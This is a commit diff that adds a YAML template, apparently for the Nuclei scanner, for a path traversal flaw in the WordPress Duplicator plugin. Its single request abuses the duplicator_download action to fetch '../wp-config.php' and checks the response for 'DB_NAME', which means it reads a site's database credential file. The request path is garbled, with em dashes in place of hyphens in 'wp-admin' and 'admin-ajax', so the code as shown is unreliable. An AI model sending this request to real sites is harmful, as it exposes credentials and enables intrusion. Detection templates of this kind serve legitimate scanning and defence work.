Create WordPress duplicator Path Traversal.yaml

vulnerabilities/WordPress duplicator Path Traversal.yaml

@@ -0,0 +1,16 @@
+id: WordPress duplicator Path Traversal
+
+info:
+  name: WordPress duplicator Path Traversal
+  author: madrobot
+  severity: high
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp—admin/admin—ajax.php?action=duplicator_download&file=/../wp-config.php"
+    matchers:
+      - type: regex
+        regex:
+            - "DB_NAME"
+        part: body